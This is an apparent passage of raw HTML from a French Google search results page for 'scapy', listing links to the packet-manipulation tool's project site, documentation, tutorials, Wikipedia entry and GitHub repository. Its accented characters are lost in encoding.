href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=li:1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\">Mot  mot</a></li></ul></li></ul></div></td><td valign=\"top\"><div id=\"center_col\"><div class=\"sd\" id=\"resultStats\">Environ 190&#160;000rsultats</div><div id=\"res\"><div id=\"topstuff\"></div><div id=\"search\"><div id=\"ires\"><ol><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=http://www.secdev.org/projects/scapy/&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFggUMAA&amp;usg=AFQjCNHHk3EY8Z1PU7DjcAlkG4Rc3Vs59g\"><b>Scapy</b> - SecDev.org</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>www.secdev.org/projects/<b>scapy</b>/</cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IFTAA\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:AsiFNhlH2pkJ:http://www.secdev.org/projects/scapy/%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAgXMAA&amp;usg=AFQjCNEsc6oKXOBbiQdnyv1LzA4BeD0E5g\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:www.secdev.org/projects/scapy/+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwgYMAA\">Pages similaires</a></li></ul></div></div></div><span class=\"st\"><b>Scapy</b> is a powerful interactive packet manipulation program. It is able to forge or <br>\n",
+        "decode packets of a wide number of protocols, send them on the wire, capture&nbsp;...</span><br><div class=\"osl\"><a href=\"/url?q=http://www.secdev.org/projects/scapy/doc/&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIGigAMAA&amp;usg=AFQjCNEIwIcroh5YAfGR-I7GYFdLicNWEA\">Scapy's documentation!</a> - <a href=\"/url?q=http://www.secdev.org/projects/scapy/doc/usage.html&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIGygBMAA&amp;usg=AFQjCNFmd-7Kib8a4LCin1kc0GJ50BIS4A\">Usage</a> - <a href=\"/url?q=http://www.secdev.org/projects/scapy/demo.html&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIHCgCMAA&amp;usg=AFQjCNHVs60uzwQshH24gRG8SJd6_UG5ww\">Quick demo : an interactive</a> - <a href=\"/url?q=http://www.secdev.org/projects/scapytain/&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIHSgDMAA&amp;usg=AFQjCNEQizwKXdatZ7llosjxF90Qq1GZ0w\">Scapytain</a></div></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=http://www.secdev.org/projects/scapy/doc/usage.html&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFggfMAE&amp;usg=AFQjCNFmd-7Kib8a4LCin1kc0GJ50BIS4A\">Usage &#8212; <b>Scapy</b> v2.1.1-dev documentation - SecDev.org</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>www.secdev.org/projects/<b>scapy</b>/doc/usage.html</cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IIDAB\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:IkQlsPcbaVUJ:http://www.secdev.org/projects/scapy/doc/usage.html%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAgiMAE&amp;usg=AFQjCNFm83gItGADS_RWIfcNKm10GZzLbQ\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:www.secdev.org/projects/scapy/doc/usage.html+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwgjMAE\">Pages similaires</a></li></ul></div></div></div><span class=\"st\"><b>Scapy&#39;s</b> interactive shell is run in a terminal session. Root privileges are needed <br>\n",
+        "to send the packets, so we&#39;re using sudo here: $ sudo <b>scapy</b> Welcome to <b>Scapy</b>&nbsp;...</span><br></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=https://openclassrooms.com/courses/manipulez-les-paquets-reseau-avec-scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFgglMAI&amp;usg=AFQjCNFkskYeH2yXFnaeEQNJg5U9OW6vcQ\">Manipulez les paquets rseau avec <b>Scapy</b> - OpenClassrooms</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>https://openclassrooms.com/.../manipulez-les-paquets-reseau-avec-<b>scapy</b></cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IJjAC\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:S5DdkssTWs4J:https://openclassrooms.com/courses/manipulez-les-paquets-reseau-avec-scapy%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAgoMAI&amp;usg=AFQjCNGLpLwzu508SzQHsP-Uf4wqZah87A\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:https://openclassrooms.com/courses/manipulez-les-paquets-reseau-avec-scapy+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwgpMAI\">Pages similaires</a></li></ul></div></div></div><span class=\"st\">20 nov. 2013 <b>...</b> <b>Scapy</b> est un module pour Python permettant de forger, envoyer, rceptionner et <br>\n",
+        "manipuler des paquets rseau. Si le rseau vous intresse et&nbsp;...</span><br></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=https://fr.wikipedia.org/wiki/Scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFggsMAM&amp;usg=AFQjCNGTIivLQi0XfgwYnADPhMZKZ5S1cA\"><b>Scapy</b> &#8212; Wikipdia</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>https://fr.wikipedia.org/wiki/<b>Scapy</b></cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0ILTAD\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:MsdDsl0QNWcJ:https://fr.wikipedia.org/wiki/Scapy%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAgvMAM&amp;usg=AFQjCNFCwGW84n_OO6XIlEpMhfrvke6c-A\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:https://fr.wikipedia.org/wiki/Scapy+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwgwMAM\">Pages similaires</a></li></ul></div></div></div><span class=\"st\"><b>Scapy</b> est un logiciel libre de manipulation de paquets rseau crit en python. Il <br>\n",
+        "est capable, entre autres, d&#39;intercepter le trafic sur un segment rseau,&nbsp;...</span><br><div class=\"osl\"><a href=\"/url?q=https://fr.wikipedia.org/wiki/Scapy%23Avantages_de_scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIMigAMAM&amp;usg=AFQjCNHuBGOX0rv-ULqfquUn6FFIQJrj5g\">Avantages de scapy</a> - <a href=\"/url?q=https://fr.wikipedia.org/wiki/Scapy%23Exemple_d.27utilisation_de_scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIMygBMAM&amp;usg=AFQjCNFRbPAXgHtzI2eifsA1SLsqNAh6AQ\">Exemple d'utilisation de scapy</a> - <a href=\"/url?q=https://fr.wikipedia.org/wiki/Scapy%23Notes_et_r.C3.A9f.C3.A9rences&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIINCgCMAM&amp;usg=AFQjCNGgp4vZufO23i8NlSEK_R2GflOzTg\">Notes et rfrences</a></div></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=http://www.lestutosdenico.com/tutos-de-nico/scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFgg2MAQ&amp;usg=AFQjCNGJgAUj5uKjpIlgONJAh773FzsVhQ\"><b>Scapy</b> | Les Tutos de Nico</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>www.lestutosdenico.com/tutos-de-nico/<b>scapy</b></cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0INzAE\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:n5JD9BgFDtkJ:http://www.lestutosdenico.com/tutos-de-nico/scapy%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAg5MAQ&amp;usg=AFQjCNEoq44xVCpsMHTwrp1z672VVGWKhQ\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:www.lestutosdenico.com/tutos-de-nico/scapy+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwg6MAQ\">Pages similaires</a></li></ul></div></div></div><span class=\"st\">26 avr. 2010 <b>...</b> <b>Scapy</b> est un outil Open Source crit par Philippe Biondi. Cet utilitaire permet de <br>\n",
+        "manipuler, forger, dcoder, mettre, recevoir les paquets&nbsp;...</span><br></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=https://github.com/secdev/scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFgg9MAU&amp;usg=AFQjCNFx6X4HyjoLtnHCYRzeN9IHyxPGjw\">GitHub - secdev/<b>scapy</b>: <b>Scapy</b>: the python-based interactive packet ...</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>https://github.com/secdev/<b>scapy</b></cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IPjAF\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:t5CFO8vxr4IJ:https://github.com/secdev/scapy%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhAMAU&amp;usg=AFQjCNFTiv8yTtMV3mQuth-8uadrLURtOQ\">En cache</a></li></ul></div></div></div><span class=\"st\"><b>scapy</b> - <b>Scapy</b>: the python-based interactive packet manipulation program &amp; <br>\n",
+        "library.</span><br></div></div><div class=\"g\"><span style=\"float:left\"><span class=\"mime\">[PDF]</span>&nbsp;</span><h3 class=\"r\"><a href=\"/url?q=https://repo.zenk-security.com/Protocoles_reseaux_securisation/Les%2520Fourberies%2520de%2520Scapy.pdf&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFghCMAY&amp;usg=AFQjCNGvyyIgBp3Yf9bDRHx4ytFleXOi5w\">Les Fourberies de <b>Scapy</b> - Zenk - Security - Repository</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>https://repo.zenk-security.com/.../Les%20Fourberies%20de%20<b>Scapy</b>.pdf</cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IQzAG\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:1s5MetOx54YJ:https://repo.zenk-security.com/Protocoles_reseaux_securisation/Les%252520Fourberies%252520de%252520Scapy.pdf%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhFMAY&amp;usg=AFQjCNHM9Qr918qAuwPiolGK1lPkSyKJyg\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:https://repo.zenk-security.com/Protocoles_reseaux_securisation/Les%2520Fourberies%2520de%2520Scapy.pdf+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwhGMAY\">Pages similaires</a></li></ul></div></div></div><span class=\"st\">Python &amp; <b>Scapy</b> : cration de module ou de programme . . . . . . . . . . . . . . . . . . 12. <br>\n",
+        "3.1. Python &amp; <b>Scapy</b> .... 16 change de paquet de Wireshark vers <b>Scapy</b> .</span><br></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=http://www.chambeyron.fr/index.php/systeme-reseaux/scapy/8-scapy-les-bases&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFghIMAc&amp;usg=AFQjCNE3evvKKx60Iee3ZBiIOTjDlDzKxw\">Tutorial <b>Scapy</b>, introduction - Le blog de Thierry</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>www.chambeyron.fr/index.php/systeme.../<b>scapy</b>/8-<b>scapy</b>-les-bases</cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0ISTAH\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:MgSbFi6VkXEJ:http://www.chambeyron.fr/index.php/systeme-reseaux/scapy/8-scapy-les-bases%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhLMAc&amp;usg=AFQjCNG4PtbkImAAhScSjauv2Yz6WYyh4g\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:www.chambeyron.fr/index.php/systeme-reseaux/scapy/8-scapy-les-bases+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwhMMAc\">Pages similaires</a></li></ul></div></div></div><span class=\"st\">19 sept. 2014 <b>...</b> Pour connaitre la liste des commandes <b>scapy</b> &gt;&gt;&gt; lsc() arpcachepoison : Poison <br>\n",
+        "target&#39;s cache with (your MAC,victim&#39;s IP) couple arping : Send&nbsp;...</span><br></div></div><div class=\"g\"><span style=\"float:left\"><span class=\"mime\">[PDF]</span>&nbsp;</span><h3 class=\"r\"><a href=\"/url?q=http://repository.root-me.org/R%25C3%25A9seau/FR%2520-%2520Scapy%2520en%2520pratique.pdf&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFghPMAg&amp;usg=AFQjCNFqXSQxPzYTmmJJLOXP7WO4d2tVHQ\"><b>Scapy</b> en pratique - Repository Root Me</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>repository.root-me.org/.../FR%20-%20<b>Scapy</b>%20en%20pratique.pdf</cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IUDAI\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:wLJc7aETkU0J:http://repository.root-me.org/R%2525C3%2525A9seau/FR%252520-%252520Scapy%252520en%252520pratique.pdf%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhSMAg&amp;usg=AFQjCNHKUYiTHTN6P3CoJBK8Cwy22rSsPg\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:repository.root-me.org/R%25C3%25A9seau/FR%2520-%2520Scapy%2520en%2520pratique.pdf+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwhTMAg\">Pages similaires</a></li></ul></div></div></div><span class=\"st\">17 mai 2008 <b>...</b> <b>Scapy</b> en pratique. PyCON FR &#8211; 17 Mai 2008 - Renaud Lifchitz. 3. Qu&#39;est-ce <br>\n",
+        "que <b>Scapy</b> ? Prsentation gnrale. &#9675;. Interprteur Python&nbsp;...</span><br></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=http://blog.madpowah.org/articles/scapy/index.html&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFghWMAk&amp;usg=AFQjCNGKKokeKOYEfr8s0KWmv3qNlOYEww\">[How To]Utilisation de <b>Scapy</b> | cloud&#39;s Blog</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>blog.madpowah.org/articles/<b>scapy</b>/index.html</cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IVzAJ\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:CAMle-GMFucJ:http://blog.madpowah.org/articles/scapy/index.html%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhZMAk&amp;usg=AFQjCNGndKUe71tN35JPcUMSrK6-y8_5QQ\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:blog.madpowah.org/articles/scapy/index.html+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwhaMAk\">Pages similaires</a></li></ul></div></div></div><span class=\"st\">18 sept. 2008 <b>...</b> <b>Scapy</b> est un logiciel dvelopp en python qui permet de forger des paquets, de <br>\n",
+        "sniffer et de faire bien d&#39;autres actions bien utiles pour faire du&nbsp;...</span><br></div></div></ol></div></div></div><div style=\"clear:both;margin-bottom:17px;overflow:hidden\"><div style=\"font-size:16px;padding:0 8px 1px\">Recherches associes \"<b>scapy</b>\"</div><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td valign=\"top\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+windows&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIXigA\">scapy <b>windows</b></a></p></td><td valign=\"top\" style=\"padding-left:10px\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+github&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIXygB\">scapy <b>github</b></a></p></td></tr><tr><td valign=\"top\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+tutorial&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIYCgC\">scapy <b>tutorial</b></a></p></td><td valign=\"top\" style=\"padding-left:10px\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+python+3&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIYSgD\">scapy <b>python 3</b></a></p></td></tr><tr><td valign=\"top\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+sniff&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIYigE\">scapy <b>sniff</b></a></p></td><td valign=\"top\" style=\"padding-left:10px\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+pcap&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIYygF\">scapy <b>pcap</b></a></p></td></tr><tr><td valign=\"top\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+documentation&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIZCgG\">scapy <b>documentation</b></a></p></td><td valign=\"top\" style=\"padding-left:10px\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+pdf&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIZSgH\">scapy <b>pdf</b></a></p></td></tr></table></div></div><div id=\"foot\"><table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" id=\"nav\"><tr valign=\"top\"><td align=\"left\" class=\"b\"><span class=\"csb\" style=\"background-position:-24px 0;width:28px\"></span><b></b></td><td><span class=\"csb\" style=\"background-position:-53px 0;width:20px\"></span><b>1</b></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=10&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>2</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=20&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>3</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=30&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>4</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=40&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>5</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=50&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>6</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=60&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>7</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=70&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>8</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=80&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>9</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=90&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>10</a></td><td class=\"b\" style=\"text-align:left\"><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=10&amp;sa=N\" style=\"text-align:left\"><span class=\"csb\" style=\"background-position:-96px 0;width:71px\"></span><span style=\"display:block;margin-left:53px\">Suivant</span></a></td></tr></table><p class=\"_cD\" id=\"bfl\" style=\"margin:19px 0 0;text-align:center\"><a href=\"/advanced_search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns\">Recherche avance</a><a href=\"/support/websearch/bin/answer.py?answer=134479&amp;hl=fr\">Aide sur la recherche</a> <a href=\"/tools/feedback/survey/html?productId=196&amp;query=scapy&amp;hl=fr\">Envoyer des commentaires</a></p><div class=\"_cD\" id=\"fll\" style=\"margin:19px auto 19px auto;text-align:center\"><a href=\"/\">Accueil&nbsp;Google</a> <a href=\"/intl/fr/ads\">Publicit</a> <a href=\"/intl/fr/policies/privacy/\">Confidentialit</a> <a href=\"/intl/fr/policies/terms/\">Conditions</a> <a href=\"/intl/fr/about.html\"> propos de Google</a></div></div></td><td id=\"rhs_block\" valign=\"top\"></td></tr></tbody></table><script type=\"text/javascript\">(function(){var eventid='kzFQWN-hEcKya4KMgVA';google.kEI = eventid;})();</script><script src=\"/xjs/_/js/k=xjs.hp.en_US.WN3XpSz-BG8.O/m=sb_he,d/rt=j/d=1/t=zcms/rs=ACT90oGvdHa7TL2W_IQX1s5BPxYIHeUvhQ\"></script><script type=\"text/javascript\">google.ac&&google.ac.c({\"agen\":true,\"cgen\":true,\"client\":\"heirloom-serp\",\"dh\":true,\"dhqt\":true,\"ds\":\"\",\"fl\":true,\"host\":\"google.fr\",\"isbh\":28,\"jam\":0,\"jsonp\":true,\"lm\":true,\"msgs\":{\"cibl\":\"Effacer la recherche\",\"dym\":\"Essayez avec cette orthographe :\",\"lcky\":\"J\\u0026#39;ai de la chance\",\"lml\":\"En savoir plus\",\"oskt\":\"Outils de saisie\",\"psrc\":\"Cette suggestion a bien t supprime de votre \\u003Ca href=\\\"/history\\\"\\u003Ehistorique Web\\u003C/a\\u003E.\",\"psrl\":\"Supprimer\",\"sbit\":\"Recherche par image\",\"srch\":\"Recherche Google\"},\"nds\":true,\"ovr\":{},\"pq\":\"scapy\",\"refpd\":true,\"rfs\":[\"scapy windows\",\"scapy tutorial\",\"scapy sniff\",\"scapy documentation\",\"scapy github\",\"scapy python 3\",\"scapy pcap\",\"scapy pdf\"],\"scd\":10,\"sce\":5,\"stok\":\"v9hn9ENPV2Cq1VDAu6ud56TzkyQ\"})</script><script>(function(){window.google.cdo={height:0,width:0};(function(){var a=window.innerWidth,b=window.innerHeight;if(!a||!b)var 